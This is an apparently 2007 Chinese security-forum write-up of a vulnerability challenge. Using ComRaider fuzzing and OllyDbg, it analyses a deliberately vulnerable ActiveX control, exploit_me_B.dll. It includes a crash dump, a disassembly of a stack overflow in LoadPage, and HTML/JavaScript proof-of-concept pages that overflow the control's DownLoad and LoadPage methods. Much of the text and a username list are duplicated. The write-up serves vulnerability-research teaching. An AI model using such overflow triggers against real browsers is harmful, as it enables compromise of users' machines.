-
-
[原创]第二题(B)分析
-
发表于: 2007-12-30 19:23 21294
-
提交者看雪ID:xfmaple
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
黑客技术爱好者
漏洞定位:
在B题说明中,已经给出来可以用来分析的工具ComRaider
ComRaider可以产生一些脚本用来fuzz ActiveX中的一些方法。
用ComRaider打开exploit_me_B.dll
看了一下ComRaider列出的方法,看到了一个叫download的方法,查看其信息得到
Sub DownLoad (
ByVal URL As String ,
ByVal filename As String
)
第一感觉就可能这个地方会有问题,可能有人会问为什么?呵呵,其实也没啥,找什么都好,无论是溢出,还是别的,总是回去看自己熟悉的东西,download这个字眼够熟悉吧。而且列出的方法中的元素有url, filename,而且都是string的类型。这样就有可能通过提交过长的URL或者FILENAME,产生溢出。ComRaider本身就是一个FUZZ工具,当然你可以通过在《ActiveX漏洞手工挖掘调试指导》的文档中说明的方法来测试,我这里直接使用ComRaider来测试此方法。
右键download-》fuzz member-》next,测试其成员属性。
ComRaider自动生产了一些wsf结尾的脚本。Next进行fuzz之后,证明了我的猜想。溢出就是猜想-》分析-》验证的过程
右键查看此信息
发现ECX被覆盖了。覆盖的地方是call [ECX+8]的操作
查看ComRaider测试的脚本
这里已经很清除的给出了CLSID和测试方法和数据
我把这个脚本用javascript来简单重写一下
先设置一下IE的安全等级,让他加载控件的时候有提示,用OD附加IE,再F9运行,然后再加载控件
发现断在了这个地方,与在ComRaider捕获异常的地方不一样。奇怪,用0D在,LoadLibrary的系列函数上下断点,找到加载我们exploit_me_B.dll的地方,ctrl+F9执行的返回,居然直接结束了。郁闷,不知道中间咋回事。于是用《跟踪调试COM组件的接口》一文中的方法找到函数入口点,然后进行跟踪,也是失败了~。郁闷。对于这个download的属性分析,总体来说是失败的。但调试思路,我想应该是可行的。
在对download分析失败以后,我就进行了fuzz library,全局的扫了一下,发现有问题的地方还很多。
用上面积累的方法又对loadpage的属性进行了分析
用《跟踪调试COM组件的接口》文章提到的方法找到函数入口点,下断,然后用上面分析download的时候用的方法附加IE,进行调试。
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
黑客技术爱好者
漏洞定位:
在B题说明中,已经给出来可以用来分析的工具ComRaider
ComRaider可以产生一些脚本用来fuzz ActiveX中的一些方法。
用ComRaider打开exploit_me_B.dll
看了一下ComRaider列出的方法,看到了一个叫download的方法,查看其信息得到
Sub DownLoad (
ByVal URL As String ,
ByVal filename As String
)
第一感觉就可能这个地方会有问题,可能有人会问为什么?呵呵,其实也没啥,找什么都好,无论是溢出,还是别的,总是回去看自己熟悉的东西,download这个字眼够熟悉吧。而且列出的方法中的元素有url, filename,而且都是string的类型。这样就有可能通过提交过长的URL或者FILENAME,产生溢出。ComRaider本身就是一个FUZZ工具,当然你可以通过在《ActiveX漏洞手工挖掘调试指导》的文档中说明的方法来测试,我这里直接使用ComRaider来测试此方法。
右键download-》fuzz member-》next,测试其成员属性。
ComRaider自动生产了一些wsf结尾的脚本。Next进行fuzz之后,证明了我的猜想。溢出就是猜想-》分析-》验证的过程
右键查看此信息
Exception Code: ACCESS_VIOLATION Disasm: 1A437E4 CALL [ECX+8] (testControl.DLL) Seh Chain: -------------------------------------------------- 1 7C92EE18 ntdll.dll 2 76AA3F54 ole32.dll 3 7C839AA8 KERNEL32.dll Called From Returns To -------------------------------------------------- testControl.1A437E4 3 Registers: -------------------------------------------------- EIP 01A437E4 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EAX 01BA0530 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EBX 00000000 ECX 41414141 EDX 0013FD4C -> 0025449C EDI 00000064 ESI 01B00A40 -> 01AE9BD0 EBP 01A20000 -> 00905A4D -> Asc: MZMZ ESP 0013FC30 -> 01BA0530 Block Disassembly: -------------------------------------------------- 1A437D5 MOV EDI,64 1A437DA MOV EAX,[ESI+10] 1A437DD CMP EAX,EBX 1A437DF JE SHORT 01A437E7 1A437E1 MOV ECX,[EAX] 1A437E3 PUSH EAX 1A437E4 CALL [ECX+8] <--- CRASH 1A437E7 PUSH EBX 1A437E8 MOV [ESI+10],EBX 1A437EB CALL [ESI+20] 1A437EE CMP [1B0D2B0],EDI 1A437F4 JNZ SHORT 01A437FB 1A437F6 ADD ESI,1C 1A437F9 JMP SHORT 01A437FE 1A437FB ADD ESI,24 ArgDump: -------------------------------------------------- EBP+8 00000004 EBP+12 0000FFFF EBP+16 000000B8 EBP+20 00000000 EBP+24 00000040 EBP+28 00000000 Stack Dump: -------------------------------------------------- 13FC30 30 05 BA 01 00 00 00 00 00 00 00 00 60 FC 13 00 [............`...] 13FC40 00 00 A2 01 0F AC A5 01 00 00 A2 01 00 00 00 00 [................] 13FC50 00 00 00 00 B8 FC 13 00 74 FC 13 00 BF AB A5 01 [........t.......] 13FC60 80 FC 13 00 A7 11 92 7C 00 00 A2 01 00 00 00 00 [................] 13FC70 00 00 00 00 BF AB A5 01 B8 FC 13 00 60 44 25 00 [............`D..]
发现ECX被覆盖了。覆盖的地方是call [ECX+8]的操作
查看ComRaider测试的脚本
<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "D:\study\exploit_me_B.dll" prototype = "Sub DownLoad ( ByVal URL As String , ByVal filename As String )" memberName = "DownLoad" progid = "ppp2Lib.T_ppp01" argCount = 2 arg1=String(2068, "A") arg2="defaultV" target.DownLoad arg1 ,arg2 </script></job></package>
这里已经很清除的给出了CLSID和测试方法和数据
我把这个脚本用javascript来简单重写一下
<html> <body> <object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object> <script language='javascript'> var fuzzstr = ''; while(fuzzstr.length < 2068) fuzzstr += '\x0a\x0a\x0a\x0a'; target.download("default", fuzzstr); </script> </body> </html>
先设置一下IE的安全等级,让他加载控件的时候有提示,用OD附加IE,再F9运行,然后再加载控件
发现断在了这个地方,与在ComRaider捕获异常的地方不一样。奇怪,用0D在,LoadLibrary的系列函数上下断点,找到加载我们exploit_me_B.dll的地方,ctrl+F9执行的返回,居然直接结束了。郁闷,不知道中间咋回事。于是用《跟踪调试COM组件的接口》一文中的方法找到函数入口点,然后进行跟踪,也是失败了~。郁闷。对于这个download的属性分析,总体来说是失败的。但调试思路,我想应该是可行的。
在对download分析失败以后,我就进行了fuzz library,全局的扫了一下,发现有问题的地方还很多。
用上面积累的方法又对loadpage的属性进行了分析
用《跟踪调试COM组件的接口》文章提到的方法找到函数入口点,下断,然后用上面分析download的时候用的方法附加IE,进行调试。
函数入口 0389CD30 /. 55 push ebp 0389CD31 |. 8BEC mov ebp, esp 0389CD33 |. 8B45 08 mov eax, dword ptr [ebp+8] 0389CD36 |. 8B4D 10 mov ecx, dword ptr [ebp+10] 0389CD39 |. 8B55 14 mov edx, dword ptr [ebp+14] 0389CD3C |. 53 push ebx 0389CD3D |. 8D98 C0000000 lea ebx, dword ptr [eax+C0] 0389CD43 |. 8B45 18 mov eax, dword ptr [ebp+18] 0389CD46 |. 56 push esi 0389CD47 |. 57 push edi 0389CD48 |. 898B 2C470000 mov dword ptr [ebx+472C], ecx 0389CD4E |. 50 push eax 0389CD4F |. 8BCB mov ecx, ebx 0389CD51 |. 8993 30470000 mov dword ptr [ebx+4730], edx 0389CD57 |. E8 7468FFFF call 038935D0 0389CD5C |. 8B45 0C mov eax, dword ptr [ebp+C] 0389CD5F |. 85C0 test eax, eax 0389CD61 |. 75 16 jnz short 0389CD79 0389CD63 |. 33F6 xor esi, esi 0389CD65 |. 8BCB mov ecx, ebx 0389CD67 |. 56 push esi 0389CD68 |. E8 638DFFFF call 03895AD0 0389CD6D |. 33C0 xor eax, eax 0389CD6F |. 8D65 F4 lea esp, dword ptr [ebp-C] 0389CD72 |. 5F pop edi 0389CD73 |. 5E pop esi 0389CD74 |. 5B pop ebx 0389CD75 |. 5D pop ebp 0389CD76 |. C2 1400 retn 14 0389CD79 |> 50 push eax ; /String 0389CD7A |. FF15 F8909403 call dword ptr [<&KERNEL32.lstrlenW>] ; \lstrlenW //获取宽字节长度 0389CD80 |. 8D7C00 02 lea edi, dword ptr [eax+eax+2] //长度* 2+ 2 0389CD84 |. 8BC7 mov eax, edi 0389CD86 |. 83C0 03 add eax, 3 0389CD89 |. 24 FC and al, 0FC 0389CD8B |. E8 70D60100 call 038BA400 0389CD90 |. 8B4D 0C mov ecx, dword ptr [ebp+C] 0389CD93 |. 8BF4 mov esi, esp 0389CD95 |. 6A 00 push 0 ; /pDefaultCharUsed = NULL 0389CD97 |. 6A 00 push 0 ; |pDefaultChar = NULL 0389CD99 |. 57 push edi ; |MultiByteCount 0389CD9A |. 56 push esi ; |MultiByteStr 0389CD9B |. 6A FF push -1 ; |WideCharCount = FFFFFFFF (-1.) 0389CD9D |. 51 push ecx ; |WideCharStr 0389CD9E |. 6A 00 push 0 ; |Options = 0 0389CDA0 |. 6A 00 push 0 ; |CodePage = CP_ACP 0389CDA2 |. C606 00 mov byte ptr [esi], 0 ; | 0389CDA5 |. FF15 F4909403 call dword ptr [<&KERNEL32.WideCharTo>; \WideCharToMultiByte 0389CDAB |. 56 push esi 0389CDAC |. 8BCB mov ecx, ebx 0389CDAE |. E8 1D8DFFFF call 03895AD0 利用我在《第一题A分析》最后使用笨办法,来到了如下地方 03893DC0 /$ 81EC 0C010000 sub esp, 10C //分配268(十进制)空间大小 03893DC6 |. 8BD1 mov edx, ecx 03893DC8 |. 83C9 FF or ecx, FFFFFFFF 03893DCB |. 33C0 xor eax, eax 03893DCD |. 53 push ebx 03893DCE |. 56 push esi 03893DCF |. 57 push edi 03893DD0 |. 8BBC24 200100>mov edi, dword ptr [esp+120] //开始数据复制 03893DD7 |. F2:AE repne scas byte ptr es:[edi] 03893DD9 |. F7D1 not ecx 03893DDB |. 2BF9 sub edi, ecx 03893DDD |. 8D5C24 18 lea ebx, dword ptr [esp+18] 03893DE1 |. 8BC1 mov eax, ecx 03893DE3 |. 8BF7 mov esi, edi 03893DE5 |. 8BFB mov edi, ebx 03893DE7 |. C1E9 02 shr ecx, 2 03893DEA |. F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] 03893DEC |. 8BC8 mov ecx, eax 03893DEE |. 8B82 943F0000 mov eax, dword ptr [edx+3F94] 03893DF4 |. 83E1 03 and ecx, 3 03893DF7 |. 83F8 01 cmp eax, 1 03893DFA |. F3:A4 rep movs byte ptr es:[edi], byte ptr [esi] 03893DFC |. 0F85 18010000 jnz 03893F1A //COPY数据不为0就跳转 03893E02 |. 6A 07 push 7 03893E04 |. 8D4C24 1C lea ecx, dword ptr [esp+1C] 03893E08 68 C8D19503 push 0395D1C8 ; ASCII http:// 03893F1A |> \5F pop edi 03893F1B |. 5E pop esi 03893F1C |. 32C0 xor al, al 03893F1E |. 5B pop ebx 03893F1F |. 81C4 0C010000 add esp, 10C //恢复栈平衡 03893F25 \. C2 0800 retn 8 //返回的时候,是使用esp +8返回的 是不是看上去和A题中的分析很像,马上写测试脚本来验证 <html> <body> <object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object> <script language='javascript'> var str = ''; while(str.length <268) str += '\x0a\x0a\x0a\x0a'; str = str + '\x0c\x0c\x0c\x0c'; target.LoadPage(str, 1, 1, 1); </script> </body> </html>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
- 我的exploit_me(A)答案 4956
- [原创]第二题(B)分析 21295
- 第一题(A)分析 4537
- [求助]RADASM添加菜单的问题 4469
- [求助][Win32汇编]关于获取鼠标坐标的问题? 4781
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
poppig
wangshy
ldljlzw
tyzam
ylp1332
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
佛雷姆
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
长风破浪
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
poppig
wangshy
ldljlzw
tyzam
ylp1332
rainbow
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
佛雷姆
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
poppig
wangshy
ldljlzw
tyzam
ylp1332
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
长风破浪
yigeren
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
wangshy
ldljlzw
tyzam
ylp1332
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
佛雷姆
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
长风破浪
yigeren
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
poppig
wangshy
ldljlzw
tyzam
ylp1332
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
佛雷姆
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
长风破浪
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
poppig
wangshy
ldljlzw
tyzam
ylp1332
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
佛雷姆
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
长风破浪
谁下载
kanxue
wwiinngd
tEAr
haha366
csjwaman
fengxu
海风月影
poppig
wangshy
ldljlzw
tyzam
ylp1332
虫的传人
xyzliuin
weizi
狂热
laomms
Tee8088
松松
7jdg
robin
xzchina
lordxp
chezhulin
kxa2000
ctguxp
winnet
CL_nelson
stupidass
linsion
jackyspy
coolxiao
向日葵
pentacleNC
hejiwen
anbc
Macinsh
aoexmu
寻找狼群
wangshutai
hjxm
xfmaple
llydd
Intelfan
rockandtcl
thdzhqg
qqlqql
hawking
raystyle
LAOWZ
风间仁
crdchen
sagittar
亡灵巫师
三根火柴
zhzhtst
itboy
yzjsdn
kobezhong
zrssweet
佛雷姆
网游难民
mocha
丛林小子
忘了忘了
hybrid
jinlinghuo
programfan
jeffcjh
myskydog
lovehaohui
failwest
gustao
odaliu
newrain
sumter
峰回路转
linghood
smxhhq
ppanger
cntrump
topmint
lovelypig
sohd
wwwst
murphy
skyjackerg
nangfeng
myfish
cnwcw
zjydjfzx
sunxyless
笨笨雄
麦田的怪
binesiyu
arisuarisu
zhubb
leoneyu
长风破浪
看原图
赞赏
雪币:
留言: